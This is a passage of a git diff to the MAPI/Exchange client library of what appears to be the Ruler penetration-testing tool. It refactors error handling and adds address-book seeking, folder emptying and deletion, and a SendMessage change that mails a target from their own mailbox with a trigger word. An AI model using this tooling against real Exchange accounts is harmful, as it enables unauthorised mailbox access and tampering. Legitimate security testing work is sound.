-1309,7 +1453,7 @@ func (ropOpenMessageResponse *RopOpenMessageResponse) Unmarshal(resp []byte) (in ropOpenMessageResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropOpenMessageResponse.ReturnValue != 0x000000 { - return pos, fmt.Errorf("Non-zero reponse value %x", ropOpenMessageResponse.ReturnValue) + return pos, &ErrorCode{ropOpenMessageResponse.ReturnValue} } ropOpenMessageResponse.HasNamedProperties, pos = utils.ReadByte(pos, resp) @@ -1333,7 +1477,7 @@ func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmars ropGetPropertiesSpecificResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) if ropGetPropertiesSpecificResponse.ReturnValue != 0x000000 { - return pos, fmt.Errorf("Non-zero reponse value %d", ropGetPropertiesSpecificResponse.ReturnValue) + return pos, &ErrorCode{ropGetPropertiesSpecificResponse.ReturnValue} } var rows []PropertyRow for _, property := range columns { diff --git a/mapi/mapi-abk.go b/mapi/mapi-abk.go index b96d872..b0c8f56 100644 --- a/mapi/mapi-abk.go +++ b/mapi/mapi-abk.go @@ -6,6 +6,13 @@ import ( "github.com/sensepost/ruler/utils" ) +func sendAddressBookRequest(mapiType string, mapi []byte) ([]byte, error) { + if AuthSession.Transport == HTTP { + return mapiRequestHTTP(AuthSession.ABKURL.String(), mapiType, mapi) + } + return nil, nil //mapiRequestRPC(mapi) +} + //ExtractMapiAddressBookURL extract the External mapi url from the autodiscover response func ExtractMapiAddressBookURL(resp *utils.AutodiscoverResp) string { for _, v := range resp.Response.Account.Protocol { @@ -25,20 +32,19 @@ func BindAddressBook() (*BindResponse, error) { bindReq.State = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE4, 0x04, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, 0x09, 0x08, 0x00, 0x00} bindReq.AuxiliaryBufferSize = 0x00 - if AuthSession.Transport == HTTP { - responseBody, err := mapiRequestHTTP(AuthSession.ABKURL.String(), "BIND", bindReq.Marshal()) + responseBody, err := sendAddressBookRequest("BIND", bindReq.Marshal()) - if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) - } - bindResp := BindResponse{} - _, err = bindResp.Unmarshal(responseBody) - if err != nil { - return nil, err - } - return &bindResp, nil + if err != nil { + return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) + } + bindResp := BindResponse{} + _, err = bindResp.Unmarshal(responseBody) + if err != nil { + return nil, err } - return nil, fmt.Errorf("[x] unexpected error occurred") + return &bindResp, nil + + //return nil, fmt.Errorf("unexpected error occurred") } //GetSpecialTable function to get special table from addressbook provider @@ -52,20 +58,18 @@ func GetSpecialTable() (*GetSpecialTableResponse, error) { gstReq.Version = 0x00 gstReq.AuxiliaryBufferSize = 0x00 - if AuthSession.Transport == HTTP { - responseBody, err := mapiRequestHTTP(AuthSession.ABKURL.String(), "GetSpecialTable", gstReq.Marshal()) + responseBody, err := sendAddressBookRequest("GetSpecialTable", gstReq.Marshal()) - if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) - } - gstResp := GetSpecialTableResponse{} - _, err = gstResp.Unmarshal(responseBody) - if err != nil { - return nil, err - } - return &gstResp, nil + if err != nil { + return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) } - return nil, fmt.Errorf("[x] unexpected error occurred") + gstResp := GetSpecialTableResponse{} + _, err = gstResp.Unmarshal(responseBody) + if err != nil { + return nil, err + } + return &gstResp, nil + } //DnToMinID function to map DNs to a set of Minimal Entry IDs @@ -76,33 +80,31 @@ func DnToMinID() (*DnToMinIDResponse, error) { dntominid.HasNames = 0xFF dntominid.NameCount = 1 dntominid.NameValues = []byte{0x2F, 0x4F, 0x3D, 0x45, 0x56, 0x49, 0x4C, 0x43, 0x4F, 0x52, 0x50, 0x00} - if AuthSession.Transport == HTTP { - responseBody, err := mapiRequestHTTP(AuthSession.ABKURL.String(), "DNToMId", dntominid.Marshal()) - if err != nil { - fmt.Println(err) - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) - } - gstResp := DnToMinIDResponse{} - _, err = gstResp.Unmarshal(responseBody) - if err != nil { - return nil, err - } - return &gstResp, nil + responseBody, err := sendAddressBookRequest("DNToMId", dntominid.Marshal()) + + if err != nil { + fmt.Println(err) + return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) } - return nil, fmt.Errorf("[x] unexpected error occurred") + gstResp := DnToMinIDResponse{} + _, err = gstResp.Unmarshal(responseBody) + if err != nil { + return nil, err + } + return &gstResp, nil + } //GetProps function to get specific properties on an object func GetProps() { isAuthenticated() //check if we actually have a session - if AuthSession.Transport == HTTP { - resp, _ := mapiRequestHTTP(AuthSession.ABKURL.String(), "GetProps", []byte{}) - fmt.Println(resp) - //fmt.Println(string(rbody)) - fmt.Println(AuthSession.CookieJar) - } + resp, _ := sendAddressBookRequest("GetProps", []byte{}) + fmt.Println(resp) + //fmt.Println(string(rbody)) + fmt.Println(AuthSession.CookieJar) + } //QueryRows function gets number of rows from the specified explicit table @@ -122,18 +124,48 @@ func QueryRows(rowCount int, columns []PropertyTag) (*QueryRowsResponse, error) qRows.AuxiliaryBufferSize = 0x00 - if AuthSession.Transport == HTTP { - responseBody, err := mapiRequestHTTP(AuthSession.ABKURL.String(), "QueryRows", qRows.Marshal()) + responseBody, err := sendAddressBookRequest("QueryRows", qRows.Marshal()) - if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) - } - qrResp := QueryRowsResponse{} - _, err = qrResp.Unmarshal(responseBody) - if err != nil { - return nil, err - } - return &qrResp, nil + if err != nil { + return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) + } + qrResp := QueryRowsResponse{} + _, err = qrResp.Unmarshal(responseBody) + if err != nil { + return nil, err + } + return &qrResp, nil + +} + +//SeekEntries function moves the pointer to a new position in the addressbook +func SeekEntries(entryStart string, columns []PropertyTag) (*QueryRowsResponse, error) { + + qRows := SeekEntriesRequest{} + qRows.HasState = 0xFF + qRows.State = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x04, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, 0x09, 0x08, 0x00, 0x00} + qRows.HasTarget = 0xFF + qRows.Target = AddressBookTaggedPropertyValue{} + qRows.HasExplicitTable = 0x00 + //qRows.ExplicitTableCount = 0x00 + qRows.HasColumns = 0xFF + + qRows.Columns = LargePropertyTagArray{} + qRows.Columns.PropertyTagCount = uint32(len(columns)) + qRows.Columns.PropertyTags = columns // + + qRows.AuxiliaryBufferSize = 0x00 + + responseBody, err := sendAddressBookRequest("SeekEntries", qRows.Marshal()) + + if err != nil { + return nil, fmt.Errorf("A HTTP server side error occurred.\n %s", err) } - return nil, fmt.Errorf("[x] An Unexpected error occurred") + qrResp := QueryRowsResponse{} + _, err = qrResp.Unmarshal(responseBody) + if err != nil { + return nil, err + } + return &qrResp, nil + } diff --git a/mapi/mapi.go b/mapi/mapi.go index fa90bea..4fb725a 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -22,6 +22,7 @@ const HTTP int = 1 const RPC int = 2 var cnt = 0 +var client http.Client //AuthSession holds all our session related info var AuthSession *utils.Session @@ -54,6 +55,17 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { if transport == HTTP { AuthSession.URL, _ = url.Parse(URL) AuthSession.ABKURL, _ = url.Parse(ABKURL) + client = http.Client{ + Transport: &httpntlm.NtlmTransport{ + Domain: AuthSession.Domain, + User: AuthSession.User, + Password: AuthSession.Pass, + NTHash: AuthSession.NTHash, + Insecure: AuthSession.Insecure, + CookieJar: AuthSession.CookieJar, + }, + Jar: AuthSession.CookieJar, + } } else { AuthSession.Host = URL } @@ -63,13 +75,14 @@ func Init(config *utils.Session, lid, URL, ABKURL string, transport int) { AuthSession.LogonID = 0x09 AuthSession.Authenticated = false - if AuthSession.RPCEncrypt == true { //only support NTLM auth for now - AuthSession.RPCNetworkAuthLevel = rpchttp.RPC_C_AUTHN_LEVEL_PKT_PRIVACY - AuthSession.RPCNetworkAuthType = rpchttp.RPC_C_AUTHN_WINNT - } else { - AuthSession.RPCNetworkAuthLevel = rpchttp.RPC_C_AUTHN_LEVEL_NONE - AuthSession.RPCNetworkAuthType = rpchttp.RPC_C_AUTHN_NONE - } + //if AuthSession.RPCEncrypt == true { //only support NTLM auth for now + AuthSession.RPCNetworkAuthLevel = rpchttp.RPC_C_AUTHN_LEVEL_PKT_PRIVACY + AuthSession.RPCNetworkAuthType = rpchttp.RPC_C_AUTHN_WINNT + //} else { + //AuthSession.RPCNetworkAuthLevel = rpchttp.RPC_C_AUTHN_LEVEL_NONE + //AuthSession.RPCNetworkAuthType = rpchttp.RPC_C_AUTHN_NONE + //} + } func addMapiHeaders(req *http.Request, mapiType string) { @@ -106,24 +119,12 @@ func sendMapiDisconnect(mapi DisconnectRequest) ([]byte, error) { //and the session cookies. func mapiRequestHTTP(URL, mapiType string, body []byte) ([]byte, error) { - Client := http.Client{ - Transport: &httpntlm.NtlmTransport{ - Domain: AuthSession.Domain, - User: AuthSession.User, - Password: AuthSession.Pass, - NTHash: AuthSession.NTHash, - Insecure: AuthSession.Insecure, - CookieJar: AuthSession.CookieJar, - }, - Jar: AuthSession.CookieJar, - } - req, err := http.NewRequest("POST", URL, bytes.NewReader(body)) addMapiHeaders(req, mapiType) req.SetBasicAuth(AuthSession.Email, AuthSession.Pass) - + req.Close = true //request the auth url - resp, err := Client.Do(req) + resp, err := client.Do(req) if err != nil { //check if this error was because of ntml auth when basic auth was expected. @@ -131,16 +132,20 @@ func mapiRequestHTTP(URL, mapiType string, body []byte) ([]byte, error) { AuthSession.Client = http.Client{Jar: AuthSession.CookieJar} resp, err = AuthSession.Client.Do(req) } else { - fmt.Println(err) - return nil, nil + return nil, err //&TransportError{err} } } + if resp == nil { + return nil, &TransportError{fmt.Errorf("Empty HTTP Response")} + } rbody, err := ioutil.ReadAll(resp.Body) if err != nil { - fmt.Println(err) - return nil, nil + return nil, &TransportError{err} } responseBody, err := readResponse(resp.Header, rbody) + if resp != nil { + defer resp.Body.Close() + } return responseBody, err } @@ -153,16 +158,15 @@ func mapiConnectRPC(body ConnectRequestRPC) ([]byte, error) { //there will currently be a deadlock here if something goes wrong go rpchttp.RPCOpen(AuthSession.RPCURL, ready, chanError) - if AuthSession.Verbose { - fmt.Println("[+] Setting up channels") - } + utils.Trace.Println("Setting up channels") + //wait for channels to be setup if v := <-ready; v == false { //check if the setup was successful or premission Denied e := <-chanError - return nil, fmt.Errorf("[x] Couldn't setup RPC channel - %s", e) + return nil, &TransportError{fmt.Errorf("Couldn't setup RPC channel - %s", e)} } - fmt.Println("[+] Binding to RPC") + utils.Info.Println("Binding to RPC") //bind to RPC if err := rpchttp.RPCBind(); err != nil { return nil, err @@ -204,7 +208,6 @@ func mapiConnectRPC(body ConnectRequestRPC) ([]byte, error) { AuthSession.RPCSet = true return resp, err - } func mapiDisconnectRPC() ([]byte, error) { @@ -231,7 +234,6 @@ func mapiRequestRPC(body ExecuteRequest) ([]byte, error) { auxbuf.RPCHeader.Size = uint16(len(auxbuf.Marshal()) - 10) //account for header size auxbuf.RPCHeader.SizeActual = auxbuf.RPCHeader.Size - //fmt.Println("Len of body: ", uint32(len(utils.BodyToBytes(body.RopBuffer)))) //byte align here again length := uint32(len(utils.BodyToBytes(body.RopBuffer))) @@ -254,8 +256,8 @@ func mapiRequestRPC(body ExecuteRequest) ([]byte, error) { //isAuthenticated checks if we have a session func isAuthenticated() { if AuthSession.CookieJar.Cookies(AuthSession.URL) == nil { - fmt.Println("[x] No authentication cookies found. You may not be authenticated.") - fmt.Println("[*] Trying to authenticate you") + utils.Info.Println("No authentication cookies found. You may not be authenticated.") + utils.Info.Println("Trying to authenticate you") Authenticate() } } @@ -315,7 +317,7 @@ func AuthenticateRPC() (*RopLogonResponse, error) { connRequest.Flags = uFlagsUser } - connRequest.DNHash = hash(AuthSession.LID) //calculate unique 32bit hash of LID + connRequest.DNHash = utils.Hash(AuthSession.LID) //calculate unique 32bit hash of LID connRequest.CbLimit = 0x00 connRequest.DefaultCodePage = 1252 connRequest.LcidSort = 1033 @@ -325,14 +327,12 @@ func AuthenticateRPC() (*RopLogonResponse, error) { connRequest.ClientVersion = []byte{0x0f, 0x00, 0x03, 0x13, 0xe8, 0x03} connRequest.TimeStamp = 0x00 - _, err := mapiConnectRPC(connRequest) - - if err != nil { - return nil, fmt.Errorf("[x] An error occurred setting up RPC.\n%s", err) + if _, err := mapiConnectRPC(connRequest); err != nil { + return nil, &TransportError{fmt.Errorf("An error occurred setting up RPC. %s", err)} } - fmt.Println("[+] User DN: ", string(connRequest.UserDN)) - fmt.Println("[*] Got Context, Doing ROPLogin") + utils.Trace.Println("User DN: ", string(connRequest.UserDN)) + utils.Info.Println("Got Context, Doing ROPLogin") AuthSession.UserDN = append([]byte(AuthSession.LID), []byte{0x00}...) return AuthenticateFetchMailbox(AuthSession.UserDN) //connRequest.UserDN) @@ -358,20 +358,20 @@ func AuthenticateHTTP() (*RopLogonResponse, error) { responseBody, err := sendMapiConnectRequestHTTP(connRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } connResponse := ConnectResponse{} connResponse.Unmarshal(responseBody) if connResponse.StatusCode == 0 { - fmt.Println("[+] User DN: ", string(connRequest.UserDN)) - fmt.Println("[*] Got Context, Doing ROPLogin") + utils.Trace.Println("User DN: ", string(connRequest.UserDN)) + utils.Info.Println("Got Context, Doing ROPLogin") AuthSession.UserDN = connRequest.UserDN return AuthenticateFetchMailbox(connRequest.UserDN) } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //AuthenticateFetchMailbox func to perform step two of the authentication process @@ -397,13 +397,13 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) - if execResponse.StatusCode == 0 { + if execResponse.StatusCode == 0 || execResponse.StatusCode == 3 { AuthSession.Authenticated = true logonResponse := RopLogonResponse{} @@ -412,24 +412,27 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { return &logonResponse, nil } if AuthSession.Admin { - return nil, fmt.Errorf("[x] Invalid logon. Admin privileges requested but user is not admin") + return nil, ErrNotAdmin } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown } //Disconnect function to be nice and disconnect us from the server //This is strictly necessary but hey... lets follow protocol func Disconnect() (int, error) { - fmt.Println("[*] And disconnecting from server") + //check if we actually authenticated and need to close our session + if AuthSession == nil || AuthSession.Authenticated == false { + return -1, nil //no session + } + + utils.Trace.Println("And disconnecting from server") disconnectBody := DisconnectRequest{} disconnectBody.AuxilliaryBufSize = 0 - _, err := sendMapiDisconnect(disconnectBody) - - if err != nil { - return -1, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + if _, err := sendMapiDisconnect(disconnectBody); err != nil { + return -1, &TransportError{err} } return 0, nil @@ -447,26 +450,28 @@ func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} + if len(responseBody) <= 0 { + return nil, fmt.Errorf("") + } execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { ropReleaseResponse := RopReleaseResponse{} - _, err = ropReleaseResponse.Unmarshal(execResponse.RopBuffer[10:]) - if err != nil { - return nil, err + if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + return nil, e } return &ropReleaseResponse, nil } - return nil, fmt.Errorf("[x] Unknown error occurred or empty response") + return nil, ErrUnknown } //SendMessage func to create a new message on the Exchange server //and then sends an email to the target using their own email -func SendMessage(triggerWord string) (*RopSubmitMessageResponse, error) { +func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -485,7 +490,7 @@ func SendMessage(triggerWord string) (*RopSubmitMessageResponse, error) { setProperties.PropertValueCount = 8 propertyTags := make([]TaggedPropertyValue, setProperties.PropertValueCount) - propertyTags[0] = TaggedPropertyValue{PidTagBody, utils.UniString("This is the body.\n\r")} + propertyTags[0] = TaggedPropertyValue{PidTagBody, utils.UniString(fmt.Sprintf("%s\n\r", body))} propertyTags[1] = TaggedPropertyValue{PropertyTag{PtypString, 0x001A}, utils.UniString("IPM.Note")} propertyTags[2] = TaggedPropertyValue{PidTagMessageFlags, []byte{0x00, 0x00, 0x00, 0x08}} //unsent propertyTags[3] = TaggedPropertyValue{PidTagConversationTopic, utils.UniString(triggerWord)} @@ -554,47 +559,44 @@ func SendMessage(triggerWord string) (*RopSubmitMessageResponse, error) { responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) - if execResponse.StatusCode == 0 { + if execResponse.StatusCode != 255 { bufPtr := 10 + var p int + var e error createMessageResponse := RopCreateMessageResponse{} - p, e := createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p modRecipients := RopModifyRecipientsResponse{} - p, e = modRecipients.Unmarshal(execResponse.RopBuffer[bufPtr:]) - bufPtr += p - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if p, e = modRecipients.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } - + bufPtr += p submitMessageResp := RopSubmitMessageResponse{} - _, err = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } return &submitMessageResp, nil } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown } //SetMessageStatus is used to create a message on the exchange server @@ -627,7 +629,7 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -637,14 +639,13 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, setStatusResp := RopSetMessageStatusResponse{} - _, e := setStatusResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } return &setStatusResp, nil } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown } @@ -694,40 +695,37 @@ func CreateMessage(folderID []byte, properties []TaggedPropertyValue) (*RopSaveC responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { bufPtr := 10 + var p int + var e error createMessageResponse := RopCreateMessageResponse{} - p, e := createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } bufPtr += p saveMessageResponse := RopSaveChangesMessageResponse{} - saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err - } - return &saveMessageResponse, nil + return &saveMessageResponse, e } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown } //SetPropertyFast is used to create a message on the exchange server through a the RopFastTransferSourceGetBufferRequest @@ -757,24 +755,14 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { - //bufPtr := 10 - /* - getMessageResponse := RopGetMessageResponse{} - _, e := getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) - } - */ - //bufPtr += p //we probably need to get the handles here to pass them down into the ServerObjectHandleTable - // serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] messageHandles := serverHandles //fmt.Printf("Handles: %x\n", serverHandles) @@ -803,7 +791,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV responseBody, err = sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse = ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -823,7 +811,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV responseBody, err = sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse = ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -832,9 +820,10 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV return SaveMessageFast(0x01, 0x02, messageHandles) } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown } +//SaveMessageFast uses the RopFastTransfer buffers to save a message func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*RopSaveChangesMessageResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -856,7 +845,7 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -865,18 +854,16 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R bufPtr := 10 saveMessageResponse := RopSaveChangesMessageResponse{} - saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - - if err != nil { - return nil, err + if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } return &saveMessageResponse, nil } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown } -//DeleteMessages is used to create a message on the exchange server +//DeleteMessages is used to delete a message on the exchange server func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*RopDeleteMessagesResponse, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -907,7 +894,7 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) @@ -922,15 +909,103 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro bufPtr += p deleteMessageResponse := RopDeleteMessagesResponse{} - _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if e != nil { - return nil, fmt.Errorf("[x]An error occurred %s\n", e) + if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } return &deleteMessageResponse, nil } - return nil, fmt.Errorf("[x]Unspecified error occurred\n") + return nil, ErrUnknown +} + +//EmptyFolder is used to delete all contents of a folder +func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + getFolder := RopOpenFolderRequest{RopID: 0x02, LogonID: AuthSession.LogonID} + getFolder.InputHandle = 0x00 + getFolder.OutputHandle = 0x01 + getFolder.FolderID = folderid + getFolder.OpenModeFlags = 0x00 + + fullReq := getFolder.Marshal() + + emptyFolder := RopEmptyFolderRequest{RopID: 0x58, LogonID: AuthSession.LogonID} + emptyFolder.InputHandle = 0x01 + emptyFolder.WantAsynchronous = 255 + emptyFolder.WantDeleteAssociated = 255 + + fullReq = append(fullReq, emptyFolder.Marshal()...) + + ropRelease := RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} + fullReq = append(fullReq, ropRelease.Marshal()...) + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + responseBody, err := sendMapiRequest("Execute", execRequest) + if err != nil { + return nil, &TransportError{err} + } + execResponse := ExecuteResponse{} + execResponse.Unmarshal(responseBody) + + if execResponse.StatusCode == 0 { + bufPtr := 10 + openFolder := RopOpenFolderResponse{} + p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + if err != nil { + return nil, err + } + bufPtr += p + emptyFolderResponse := RopEmptyFolderResponse{} + + if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + return &emptyFolderResponse, nil + } + + return nil, ErrUnknown +} + +//DeleteFolder is used to delete a folder +func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + deleteFolder := RopDeleteFolderRequest{RopID: 0x1D, LogonID: AuthSession.LogonID} + deleteFolder.InputHandle = 0x00 + deleteFolder.FolderID = folderid + deleteFolder.DeleteFolderFlags = 0x05 + + fullReq := deleteFolder.Marshal() + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + responseBody, err := sendMapiRequest("Execute", execRequest) + + if err != nil { + return nil, &TransportError{err} + } + execResponse := ExecuteResponse{} + execResponse.Unmarshal(responseBody) + + if execResponse.StatusCode == 0 { + bufPtr := 10 + deleteFolder := RopDeleteFolderResponse{} + if _, e := deleteFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + return &deleteFolder, nil + } + + return nil, ErrUnknown } //GetFolder function get's a folder from the folders id @@ -973,24 +1048,23 @@ func GetFolder(folderid int, columns []PropertyTag) (*RopOpenFolderResponse, err responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) - if execResponse.StatusCode == 0 { + if execResponse.StatusCode != 255 { bufPtr := 10 openFolder := RopOpenFolderResponse{} - _, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) - if err != nil { - return nil, err + if _, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e } //this should be the handle to the folder //fmt.Println(execResponse.RopBuffer[len(execResponse.RopBuffer)-4:]) return &openFolder, nil } - return nil, fmt.Errorf("[x] An Unspecified error occurred") + return nil, ErrUnknown } //GetMessage returns the specific fields from a message @@ -1035,38 +1109,35 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPrope responseBody, err := sendMapiRequest("Execute", execRequest) if err != nil { - return nil, fmt.Errorf("[x] A HTTP server side error occurred.\n %s", err) + return nil, &TransportError{err} } execResponse := ExecuteResponse{} execResponse.Unmarshal(responseBody) if execResponse.StatusCode == 0 { - if execResponse.RopBuffer[2] == 0x05 { //compression - //decompress - } - bufPtr := 10 + bufPtr := 10 + var p int + var e error if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } openMessage := 